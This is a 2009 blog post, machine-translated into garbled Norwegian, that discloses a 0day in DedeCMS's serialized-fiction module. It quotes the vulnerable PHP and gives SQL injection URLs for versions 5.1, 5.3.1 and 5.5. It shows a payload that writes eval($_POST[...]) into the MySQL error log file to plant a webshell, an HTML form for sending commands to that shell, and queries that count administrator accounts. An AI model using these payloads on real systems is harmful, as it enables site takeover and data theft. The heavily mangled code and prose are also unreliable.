DEDECMS fiction seriell modul 0day-0day Artikler Leilighet, The magic_quotes_gpc, mybooks.php, mysql_error_trace.inc, mysql_error_trace.php, story_books.php, story_list_chapter.php, story_list_content.php, story

DEDECMS fiction seriell modul 0day

Dette innlegget ble postet på 22 september 2009

: St0p
Kan gjengis, men vennligst oppgi kilden http://www.st0p.org

Fordi hullet vises i modulen DEDECMS romanen serialisert, så lenge valget roman serialisert DEDECMS installere modulen, så dette problemet, noen versjoner under de forholdene tillater kan komme deg direkte SHELL Oh.
st0p oppsummering om bruk av Forhold: Når serveren er PHP-innstillinger, magic_quotes_gpc = Off
Tilstand 2: målet DEDECMS systeminstallasjonen fiction seriell modul er valgt

Først, la oss se på Artikler Condo 5.1, romanen kanal og artikler Condo 5.3.1 Artikler Condo 5.5, fordi hans fil i medlemmet katalogen, er filen medlem / story_books.php Artikler Condo 5.3.1 og artikler Condo 5,5 fil I boken katalogen, er filen en bok / story_books.php
På grunn av likheten koden inne, så la oss se på en story_books.php linje

  <? Php
 ......
 ! isset ( $action ) ) $action = '' ; //检测变量$action是否存在，不存则则给初使值 Hvis $ action ='' (isset ($ handling)!); / / påvisning av variabelen $ tiltak hvis det ikke finnes, så til den opprinnelige verdien
 ! isset ( $catid ) ) $catid = 0 ; //检测变量$catid是否存在，不存则则给初使值 Hvis $ catid = 0 (den isset ($ catid)!); / / testing variabelen $ catid eksisterer eksisterer ikke er for tidlig å gjøre verdi
 ! isset ( $keyword ) ) $keyword = "" ; //检测变量$keyword是否存在，不存则则给初使值 Hvis $ søkeordet = "" (isset ($ søkeord)!); / / påvisning av variabelen $ søkeordet eksisterer, eksisterer ikke, så til den opprinnelige verdien
 ! isset ( $orderby ) ) $orderby = 0 ; //检测变量$orderby是否存在，不存则则给初使值 Hvis $ en OrderBy = 0 (isset ($ en OrderBy)!); / / oppdage variabelen $ en OrderBy om det ikke eksisterer er for tidlig å gjøre verdi
 ......
 $catid != 0 ) $addquery .= " And (b.bcatid=' $catid ' Or b.catid=' $catid ') " ; if ($ catid = 0!) $ addquery = "Og (b.bcatid = '$ catid' Or b.catid = '$ catid')".; 
 / / Variabelen $ catid ikke er 0, det direkte til $ catid til $ addquery ikke bekreftet
 $keyword != "" ) $addquery .= " And (b.bookname like '% $keyword %' Or b.author like '% $keyword %') " ; (! $ nøkkelord = "") hvis $ addquery =. "Og (b.bookname som '% $ søkeordet%' Or b.author som '% $ søkeordet%')";
 / / Variabelen $ søkeordet ikke er tom, er det en direkte $ nøkkelord til $ addquery ikke bekreftet
 " $ Query = " 
     Velg b.id, b.catid, b.bookname, b.booktype, b.litpic, b.postnum, b.senddate, b.ischeck, c.id som Cid, c.classname fra # @ __ story_books b 
     forlot join # @ __ story_catalog c på c.id = b.catid hvor memberid = {$ cfg_ml-> M_ID} og b.id> 0 $ addquery $ OrderBy 
  ";
 / / Generer uttalelsen
 ......
 >

Koden ovenfor for å se, Ga, catid og søkeordet er det ingen filter, så dette er forårsaket av injeksjon, men det synes å utgjøre den setningen er litt trøbbel, er dette ikke i denne artikkelen drøfter omfanget av vårt lille eksempel prøve følgende handlinger vennligst testet etter landing, direkte registrering konto, login, skriv deretter inn følgende adresse

Artikler Condo 5.1

Test catid variabel på følgende adresse
http://st0p:88/dedecms51/member/story_books.php?catid=10 ') eller (' st0p '=' st0p

Test to variabler søkeord, følgende adresse
http://st0p:88/dedecms51/member/story_books.php?keyword=st0p% 'eller c.classname som'% st0p

Artikler Condo 5,31

Test catid variabel på følgende adresse
http://st0p:88/dedecms53/book/story_books.php?catid=10 ') eller (' st0p '=' st0p

Test to variabler søkeord, følgende adresse

http://st0p:88/dedecms53/book/story_books.php?keyword=st0p% 'eller c.classname som'% st0p

Artikler Condo 5.5

Test catid variabel på følgende adresse
http://st0p:88/dedecms55/book/story_books.php?catid=10 ') eller (' st0p '=' st0p

Test to variabler søkeord, følgende adresse
http://st0p:88/dedecms55/book/story_books.php?keyword=st0p% 'eller c.classname som'% st0p

Se de tre versjonene, den senere versjon av DEDECMS injisere uttalelse begrenser injiserte prøve det, st0p ikke snakke.
Faktisk, så lenge vi forandre på tillatelse til å få noen poeng, husk at MYSQL feil skrevet inn suffikset PHP loggfilen bug, 5,1 ser ikke ut til å fungere, noen 5.31 unpatched, da, hvis lappet Som 5,5 suffiks skiftet navn til INC slik skrevet inn ordet hest, men kunne ikke bruke. . . Dårlig ah, hvis selv tidlig deteksjon er gjennom døden. . .

Artikler Condo 5,31
omfatter / dedesql.class.php fil

  ......
	 / / Display feil informasjon på data link
	 $msg ) funksjonen DisplayError ($ msg)
	 {
		 dirname ( __FILE__ ) . '/../data/mysql_error_trace.php' ; //这里是PHP后缀 $ ErrorTrackFile = DIRNAME (__ FILE__) '/ .. / data / mysql_error_trace.php';. / / Her er PHP suffikset
		 '' ; $ Emsg ='';
		 "<div><h3>DedeCMS Error Warning!</h3> \r \n " ; $ Emsg = "<div> <h3> DedeCMS Feil Advarsel </ h3> \ r \ n!".;
		 "<div><a class=" thickbox " href='http://bbs.dedecms.com' target='_blank' style='color:red'>Technical Support: http://bbs.dedecms.com</a></div>" ; $ Emsg = "<div> Class=" thickbox" href='http://bbs.dedecms.com' target='_blank' style='color:red'> Teknisk Support:. Http://bbs. dedecms.com </ a> </ div> ";
		 "<div style='line-helght:160%;font-size:14px;color:green'> \r \n " ; $ Emsg = "<div Style='line-helght:160%;font-size:14px;color:green'> \ r \ n".;
		 "<div style='color:blue'><br />Error page: <font color='red'>" . $this -> GetCurUrl ( ) . "</font></div> \r \n " ; $ Emsg = "<div Style='color:blue'> <br /> Feil side: <font color='red'>"... $ Dette -> GetCurUrl () "</ FONT> </ div> \ r \ n ";
		 "<div>Error infos: {$msg} </div> \r \n " ; $ Emsg = "<div> Feil info: {$ msg} </ div> \ r \ n".;
		 "<br /></div></div> \r \n " ; $ Emsg = "<br /> </ div> </ div> \ r \ n".;

		 ; echo $ emsg;

		 'Page: ' . $this -> GetCurUrl ( ) . " \r \n Error: " . $msg ; $ Savemsg = 'Side:' $ Dette -> GetCurUrl () "\ r \ n Feil:". $ Bes;..
		 / / Lagre MySql feilloggen
		 fopen ( $errorTrackFile , 'a' ) ; $ Fp = @ fopen ($ errorTrackFile, 'a');
		 ( $fp , '<' . '?php' . " \r \n /* \r \n {$savemsg} \r \n */ \r \n ?" . "> \r \n " ) ; @ Fopen og fwrite ($ fp, '<'. '? PHP'. "\ R \ n / * \ r \ n {$ savemsg} \ r \ n * / \ r \ n?". "> \ R \ n" );
		 ( $fp ) ; @ Fclose ($ fp);
	 }
 ......

Artikler Condo 5,5 og lappet
omfatter / dedesql.class.php fil

  ......
	 / / Display feil informasjon på data link
	 $msg ) funksjonen DisplayError ($ msg)
	 {
		 dirname ( __FILE__ ) . '/../data/mysql_error_trace.inc' ; //后缀变成INC了 $ ErrorTrackFile = DIRNAME (__ FILE__) '/ .. / data / mysql_error_trace.inc';. / / Suffiks bli INC
		 file_exists ( dirname ( __FILE__ ) . '/../data/mysql_error_trace.php' ) ) //如果mysql_error_trace.php存在，删除文件 if (file_exists (DIRNAME (__ FILE__). '/ .. / data / mysql_error_trace.php')) / / hvis mysql_error_trace.php eksisterer, slette filer
		 {
			 ( dirname ( __FILE__ ) . '/../data/mysql_error_trace.php' ) ; @ Koble fra (DIRNAME (__ FILE__) '/ .. / data / mysql_error_trace.php'.);
		 }
		 '' ; $ Emsg ='';
		 "<div><h3>DedeCMS Error Warning!</h3> \r \n " ; $ Emsg = "<div> <h3> DedeCMS Feil Advarsel </ h3> \ r \ n!".;
		 "<div><a class=" thickbox " href='http://bbs.dedecms.com' target='_blank' style='color:red'>Technical Support: http://bbs.dedecms.com</a></div>" ; $ Emsg = "<div> Class=" thickbox" href='http://bbs.dedecms.com' target='_blank' style='color:red'> Teknisk Support:. Http://bbs. dedecms.com </ a> </ div> ";
		 "<div style='line-helght:160%;font-size:14px;color:green'> \r \n " ; $ Emsg = "<div Style='line-helght:160%;font-size:14px;color:green'> \ r \ n".;
		 "<div style='color:blue'><br />Error page: <font color='red'>" . $this -> GetCurUrl ( ) . "</font></div> \r \n " ; $ Emsg = "<div Style='color:blue'> <br /> Feil side: <font color='red'>"... $ Dette -> GetCurUrl () "</ FONT> </ div> \ r \ n ";
		 "<div>Error infos: {$msg} </div> \r \n " ; $ Emsg = "<div> Feil info: {$ msg} </ div> \ r \ n".;
		 "<br /></div></div> \r \n " ; $ Emsg = "<br /> </ div> </ div> \ r \ n".;

		 ; echo $ emsg;

		 'Page: ' . $this -> GetCurUrl ( ) . " \r \n Error: " . $msg ; $ Savemsg = 'Side:' $ Dette -> GetCurUrl () "\ r \ n Feil:". $ Bes;..
		 / / Lagre MySql feilloggen
		 fopen ( $errorTrackFile , 'a' ) ; $ Fp = @ fopen ($ errorTrackFile, 'a');
		 ( $fp , '<' . '?php' . " \r \n /* \r \n {$savemsg} \r \n */ \r \n ?" . "> \r \n " ) ; @ Fopen og fwrite ($ fp, '<'. '? PHP'. "\ R \ n / * \ r \ n {$ savemsg} \ r \ n * / \ r \ n?". "> \ R \ n" );
		 ( $fp ) ; @ Fclose ($ fp);
	 }
 ......

Les koden ovenfor, forstår vi det, vil 5,5 og 5,31 bli patchet inn i dette, ikke kan bruke, sier vi at om 5,31 kan dra nytte av metoden.
Bruk av metoder

http://st0p:88/dedecms53/book/story_books.php?keyword=st0p% '* / eval ($ _POST [st0p]);?>

Hei. Slik at vi får en SHELL
Word-adresse for http://st0p:88/dedecms53/data/mysql_error_trace.php
Direkte POST å sende data på utnyttelse av artikkel Condo 5.5 er det samme, men fordi koden for å håndtere, så den genererte filtypen INC, det nytter ikke, er følgende brukt til å sende HTM-koder, bare sette tabellen nedenfor enkelt adresse du var i den

  "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" > <DOCTYPE html PUBLIC "- / / W3C / / DTD XHTML 1.0 Transitional / / EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 "http://www.w3.org/1999/xhtml" > <html Xmlns = "http://www.w3.org/1999/xhtml">
 <head>
 equiv = "Content-Type" content = "text/html; charset=utf-8" /> <Meta-http-Ekv = "Content-Type" innhold = "text / html; charset = utf-8" />
 "author" content = "st0p,st0p.org" /> <meta Name = "author" innhold = "st0p, st0p.org" />
 st0p一句话提交</ title > <title> St0p ord presentert </ title>
 </ Head>

 <body>
 //st0p:88/dedecms53/data/mysql_error_trace.php换成你的地址--> <- Http: / / st0p: 88/dedecms53/data/mysql_error_trace.php erstattet med adressen din ->
 "form1" name = "form1" method = "post" action = "http://st0p:88/dedecms53/data/mysql_error_trace.php" > <form Id = "form1" name = "form1" method = "post" action = "http://st0p:88/dedecms53/data/mysql_error_trace.php">
   <P>
     <label>
       "st0p" id = "st0p" cols = "45" rows = "5" > echo phpinfo ( ) ;</ textarea > <textarea Name = "st0p" id = "st0p" cols = "45" p = "5"> ekko phpinfo (); </ textarea>
     </ Label>
   </ P>
   <P>
     <label>
       "submit" name = "button" id = "button" value = "提交" /> <input Type = "submit" name = "button" id = "button" verdi = "Submit" />
     </ Label>
   </ P>
 </ Form>
 </ Body>
 </ Html>

Selvfølgelig, fiksjon seriell modul, det er andre dokumenter er det også det samme problemet er det flere filer av følgende
story_stow.php
mybooks.php
story_books.php
story_list_chapter.php
story_list_content.php

Var opprinnelig tenkt utgitt dette 0day,, tilfeldige tanker mer enn krysset av storfe punktet X venner, dele informasjon, så vi besluttet å utstede, etter noen mindre fett. . .
Det er problemer vi kan diskutere i bloggen min!

Merk: Etter utgivelsen av artikkelen, en venn sa etter å ha lest dette veldig smakløst, fordi mye av server magic_quotes_gpc = på saken, som jeg ikke har tenkt å hevde, men jeg skrev spørsmålet er ikke eksisterer, bare ønsker å bruke noen forhold 5.31 og 5.5, kan i 5,1 versjonen av forgrunnen legge serielle bøker, noen med filter noen nøkkelord i SQL, så er som ingen måte, må vi oppdage versjon 5.1 er det flere ledelse medlem for eksempel.
1, ønsker vi å legge til en serialisert bok
2, http://st0p:88/dedecms51/member/story_books.php?catid=10 ') eller (velg count (*) fra dede_admin)> 0 eller (' st0p '=' st0pa

3, http://st0p:88/dedecms51/member/story_books.php?catid=10 ') eller (velg count (*) fra dede_admin)> 1 eller (' st0p '=' st0pa

Ga, er over konklusjonen administratoren nummer en. . .
Eksempel for å sitere dette, faktisk, kan sikkerhetsproblemet oppstå når som helst, men bryr seg om miljøet er forskjellig, ulike effekter og gjøre god bruk av, og noen ganger smakløse ting også bevise fruktbart. . .